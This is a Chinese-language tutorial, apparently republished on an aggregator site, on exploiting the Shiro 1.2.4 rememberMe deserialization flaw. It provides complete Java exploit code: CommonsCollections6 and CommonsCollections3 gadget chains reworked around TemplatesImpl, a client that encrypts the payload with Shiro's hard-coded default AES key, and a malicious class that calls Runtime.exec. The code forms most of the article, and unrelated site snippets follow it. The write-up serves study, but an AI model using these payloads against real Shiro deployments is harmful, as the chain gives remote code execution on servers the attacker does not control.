TemplatesImpl 在Shiro中的利用链学习1

一、前言

在前面的学习中,我们学习了CC1、CC6链,其中CC1链受限于Java8u71版本,而CC6则是通杀的利用链;后来又将 TemplateImpl 融入到 CommonsCollections 利用链中,绕过了 InvokerTransformer 不能使用的限制,转用org.apache.commons.collections.functors.InstantiateTransformer 构造了CC3利用链,一样可以执行任意Java字节码;同时通过 TemplatesImpl 构造的利用链,理论上可以执行任意java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,特别是内存马逐渐流行以后,执行任意 java代码的需求就更加浓烈了。

本文就通过————Shiro反序列化的漏洞,来实际学习下如何使用 TemplatesImpl

二、使用 CommonsCollections6 攻击 Shiro

1、环境安装和初步利用

Shiro反序列化的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe 字段中,下次读取时进行解密再反序列化。 但是在Shiro 1.2.4 版本之前内置了一个默认且固定的加密Key, 导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

这里使用P牛简化的一个shrio1.2.4的登陆应用 整个项目只有两个代码文件,index.jsp 和login.jsp,依赖也仅有下面几个:

  • shiro-core、shiro-web, 这是shiro本身的依赖
  • javax.servlet-api、jsp-api, 这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException:org.apache.commons.logging.LogFactory错误
  • commons-collectons, 为了演示反序列化漏洞,增加了 commons-collections依赖
使用 mvn package 将项目打包成 war 包,放在 Tomcat webapps 目录下。然后访问
http://localhost:8080/shirodemo/ ,会跳转到登录页面:

然后输入正确的账号密码, root/secret ,成功登录:

如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:

攻击过程如下:

  1. 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
  2. 使用Shiro默认key进行加密
  3. 密文作为 rememberMe的Cookie发送给服务端
生成payload CommonsCollections6.javapublic class CommonsCollections6 {public byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
使用Shiro默认Key进行加密: Client0.javapublic class Client0 {public static void main(String[] args) throws Exception {byte[] payloads = new CommonsCollections6().getPayload("calc.exe");AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");System.out.println(key.toString());ByteSource ciphertext = aes.encrypt(payloads, key);System.out.println(ciphertext.toString());}
}

加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:

这是为什么?

2、冲突与限制

我们找异常信息的倒数第一行,也就是 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

这是一个 ObjectInputStream的子类,其重写了resolveClass 方法


package org.apache.shiro.io;import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;/*** Enables correct ClassLoader lookup in various environments (e.g. JEE Servers, etc).** @since 1.2* @see <a href="https://issues.apache.org/jira/browse/SHIRO-334">SHIRO-334</a>*/
public class ClassResolvingObjectInputStream extends ObjectInputStream {public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {super(inputStream);}/*** Resolves an {@link ObjectStreamClass} by delegating to Shiro's * {@link ClassUtils#forName(String)} utility method, which is known to work in all ClassLoader environments.* * @param osc the ObjectStreamClass to resolve the class name.* @return the discovered class* @throws IOException never - declaration retained for subclass consistency* @throws ClassNotFoundException if the class could not be found in any known ClassLoader*/@Overrideprotected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException e) {throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}}
}

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的ObjectInputStream类中的 resolveClass 方法:

    protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{String name = desc.getName();try {return Class.forName(name, false, latestUserDefinedLoader());} catch (ClassNotFoundException ex) {Class<?> cl = primClasses.get(name);if (cl != null) {return cl;} else {throw ex;}}}

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName(实际上内部用到了 org.apache.cataline.loader.ParallelWebappClassLoader#loadClass) , 而后者用的是Java原生的 Class.forName.

关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章

强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/

这里套用结论: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就是解释了为什么 CommonsCollections6无法利用了,因为其中用到了 Transformer 数组

3、构造不含数组的反序列化利用链

为了解决刚刚提到的问题,我们回顾下前文说过的 TemplatesImpl,可以通过下面的几行代码来执行一段Java的字节码:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setfieldValue(obj, "_tfactory", new TransformerFactoryImpl());obj.newTranformer();

然后结合InvokerTranformer 调用 TemplatesImpl#newTransformer 方法,

Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
}

不过,即使在这里,依旧用到了 Transformer 数组, 不符合条件? 所以进一步想想如何去除这一过程中的Transformer 数组呢?wh1t3p1g大佬的文章中给出了行之有效的方法。

回顾下CommonsCollections6利用链中,我们用到了 TiedMapEntry, 其构造函数接收两个参数,参数1 是一个Map, 参数2是一个key。 TiedMapEntry 类有个 getValue 方法, 调用了map的get方法,并传入key:

public object getValue() {return map.get(key);
}

当这个map 是LazyMap 时, 其get方法就是触发 transform的关键点:

   public Object get(Object key) {//create value for key if key is not currently in  the mapif (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}

我们以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key 是不关心的,因为通常 Transformer 数组的首个对象是 ConstantTransformer,我们通过ConstantTransformer 来初始化恶意对象。

但是当前由于我们没法使用Transformer 数组,也就不能使用ConstantTransformer 作为前置transformer, 但是我们发现 LazyMap#get 的参数 key,会被传进 tranformer(), 实际上它可以扮演ConstantTransformer的角色--简单的对象传递者。

那么我们再回看前面的 Transform 数组:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
}
new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成 1 ,那么数组也就不需要
了。

4、改造CommonsCollections6攻击Shiro

运行环境:

java 1.8.0_71

commons-collections 3.2.1

首先还是创造 TemplatesImpl对象:

TemplatesImpl  obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloImpl");
setFiledValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用 newTransformer 方法的InvokerTranformer, 但注意到 是,此时先传入一个人畜无害的方法,比如getClass, 避免恶意方法在构造 Gadget的时候触发:

Tranformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();
expMap.put(tem, "valuvalue");outerMap.clear()

这里没有用outerMap.remove("obj");  移除key的副作用,直接通过outerMap.clear(); 效果一样

最后,将 InvokerTranformer 的方法从人畜无害的 getClass ,改成newTranformer, 正式完成武器装配。 完整代码如下:
 

CommonsCollectionsShiro.javaimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollectionsShiro {public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "Hellotemplate");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap =  new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}

同时写个Client.java来装配上面的CommonsCollectionsShiro

Client.javaimport javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;public class Client {public static void main(String []args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}

恶意的字节码文件

evil.javaimport com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
这里用到了 javassist ,这是一个字节码操纵的第三方库,可以帮助我将恶意类
evil.java  生成字节码再交给 TemplatesImpl 。 生成的POC ,在 Cookie 里进行发送,成功弹出计算器

5、改造 CommonsCollections3 攻击Shiro

运行环境:

java 1.8.0_71

commons-collections 3.2.1

同上,这里也改造一个CommonsCollections3 攻击Shiro的Poc

CommonsColections3_Shiro.javaimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsColections3_Shiro {public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "Hellotemplate");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer faketransformer = new ConstantTransformer(1);Transformer transformer = new InstantiateTransformer(new Class[]{ Templates.class}, new Object[]{ obj});Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, faketransformer);TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);Map expMap =  new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(outerMap, "factory", transformer);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}

其他 Client.java 和 evil.java 同上

三、注意项

Shiro 不是遇到 Tomcat 就一定会有数组这个问题
Shiro-550 的修复并不意味着反序列化漏洞的修复,只是默认 Key 被移除了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/12657.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

中仕公考:2025年省考请注意!

打算参加25年省考的考生们注意啦!如果打算参加2025年公务员省考&#xff0c;从这个时间点开始备考刚刚好&#xff0c;如果还不知道怎么备考的&#xff0c;看这篇就够了! 省考流程&#xff1a; 网上报名——资格审查——确认缴费——查看报名序号——准考证打印——笔试——成…

开发RAG应用,你必须知道的7个Embedding模型

在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;Embedding模型是将文本数据转化为数值向量的核心技术&#xff0c;从而让计算机能够便捷地衡量文本间的语义关联&#xff0c;这种表示法已成为多种基础NLP任务的核心&#xff0c;如文本相似度判定、语义搜索、信息检索…

基于Java+SpringBoot学生成绩管理系统

一、作品包含 源码数据库设计文档全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据库&…

Kong API网关,微服务架构中,你看到就不想错过的选型

今天&#xff0c;很多公司都采用微服务架构来处理复杂业务&#xff0c;但随着服务数量增加&#xff0c;API管理成了一项繁重任务。Kong API网关&#xff0c;作为一款高性能的开源API网关&#xff0c;给开发者带来了极大便利。它不仅可以简化API的调用和管理&#xff0c;还拥有丰…

计算机毕业设计 | springboot+vue汽车修理管理系统 汽修厂系统(附源码)

1&#xff0c;项目背景 在如今这个信息时代&#xff0c;“汽车维修管理系统” 这种维修方式已经为越来越多的人所接受。在这种背景之下&#xff0c;一个安全稳定并且强大的网络预约平台不可或缺&#xff0c;在这种成熟的市场需求的推动下&#xff0c;在先进的信息技术的支持下…

使用京东API接口进行支付结算有哪些注意事项?

用京东API接口进行支付结算时&#xff0c;需要注意以下几个事项&#xff1a; 遵守京东开放平台规定&#xff1a;在使用京东API接口时&#xff0c;必须遵守京东开放平台的相关规定&#xff0c;不得滥用接口或进行非法操作。 保护用户隐私&#xff1a;为了保护用户隐私&#xff…

全国宪法宣传周答题活动怎么做

在12月4日全国宪法宣传周即将到来之际&#xff0c;越来越多的企业单位开始举办线上知识竞赛答题活动&#xff0c;以下是一个知识竞赛答题小程序的基本功能&#xff1a; 一、了解活动信息&#xff1a;确定答题活动的开始时间、结束时间以及是否分阶段进行等。不同的答题活动时…

【debug】QT 相关问题error汇总 QT运行闪退 QT5升级到QT6注意要点

总结一下碰到过的所有问题error以及解决方案 如果这个文档未帮助到你&#xff0c;仍有bug未解决&#xff0c;可以在下方评论留言&#xff0c;有偿解决。 qt的UI更新之后构建后发现没有变化 取消项目中的Shadow build的勾选&#xff0c;作用是取消影子构建&#xff0c;此后构建目…

信捷 PLC C语言 POU 指示灯交替灭1秒亮1秒

1.在全局变量表中定义2个定时器变量timer1,timer2 名称 类型 timer1 TMR_FB False -- False False timer2 TMR_FB False -- False False ot BOOL False -- False False ot表示指示灯 2.新建pou…

【Linux进程篇3】说白了,Linux创建进程(fork父子进程)也就那样!!!

--------------------------------------------------------------------------------------------------------------------------------- 每日鸡汤&#xff1a;没人可以好运一生&#xff0c;只有努力才是一生的护身符&#xff0c;不放弃、不辜负。 -----------------------…

使用服务器时进行深度学习训练时,本地必须一直保持连接状态吗?

可以直接查看方法&#xff0c;不看背景 1.使用背景2. 方法2.1 screen命令介绍2.2 为什么要使用screen命令2.3 安装screen2.4 创建session2.5 查看session是否创建成功2.6 跳转进入session2.7 退出跑代码的session2.8 删除session 1.使用背景 我们在进行深度学习训练的时候&…

防火墙笔记地十二天

1.IPSEC协议簇 IPSEC协议簇 --- 基于网络层的&#xff0c;应用密码学的安全通信协议组 IPV6中&#xff0c;IPSEC是要求强制使用的&#xff0c;但是&#xff0c;IPV4中作为可选项使用 IPSEC可以提供的安全服务 机密性 --- 数据加密 完整性 --- 防篡改 可用性 数据源鉴别 -…

即时设计:Sketch的云端版本控制

设计师们经常面临的一个挑战是设计软件的频繁更新&#xff0c;尤其是Sketch这类流行工具。每次更新可能会修复一些旧bug并增加新功能&#xff0c;但同时也可能导致与旧版本的不兼容问题&#xff0c;尤其是在不同工作环境中的电脑性能差异可能导致文件兼容性问题。那么&#xff…

什么是网络安全CTF有何意义?该如何入门?

什么是网络安全CTF?有何意义 &#xff1f;该如何入门 &#xff1f; 什么是网络安全CTF? CTF在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。它起源于1996年DEFCON&#xff0c;以代替之前通过互相发起真实攻击进行技术比拼的方式。发展至今&#xff…

【Window主机访问Ubuntu从机——Xrdp配置与使用】

使用Xrdp在Window环境下远程桌面访问Ubuntu主机 文章目录 Ubuntu安装图形化界面Ubuntu安装Xrdp通过网线连接两台主机Window主机有线连接配置Ubuntu从机设置测试有线连接 Window主机打开远程桌面功能参考文章总结 Ubuntu安装图形化界面 sudo apt update sudo apt upgrade sudo …

Python-基础语法·上(2)

目录 常量和表达式 变量的语法 定义变量 使用变量 变量的类型 整型与浮点型 字符串 布尔 为什么要有这么多类型? 动态类型特性 注释 输入输出 通过控制台输出 通过控制台输入 运算符 算术运算符 关系运算符 逻辑运算符 赋值运算符 其他 python的一些小练…

【go从零单排】panic、recover、defer

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在 Go 语言中&#xff0c;panic 是一种用于处理异常情况的机制。它允许程序在遇到…

【Windows erver】配置高性能电源管理

操作场景 在 Windows Server 操作系统上&#xff0c;需要配置高性能电源管理&#xff0c;才能支持实例软关机&#xff0c;否则云服务器控制台只能通过硬关机的方式关闭实例。本文档以 Windows Server 2012 操作系统为例&#xff0c;介绍配置电源管理的方法。 操作说明 修改电…

十大内衣洗衣机排名:2024十大实力强大内衣洗衣机推荐

现在洗衣机已经是现代家庭的必备家电&#xff0c;它给我们带来了更加方便舒适的生活。但即使是有了洗衣机大家还是不会将所有的衣物都丢进大型洗衣机洗。尤其是内衣裤、袜子&#xff0c;很多人都是选择手洗的&#xff0c;觉得这样的清洁方式才能清洗干净&#xff0c;但其实事实…

esayExcel根据模板导出包含图片

1、效果 2、模板 3、工具类代码 /*** 根据模板填充* param response* param templateStream 模板文件流* param map 模板文件所需要的参数* param list list循环模板参数* throws IOException*/public static void templateFilling(HttpServletRequest servletRequest,HttpServ…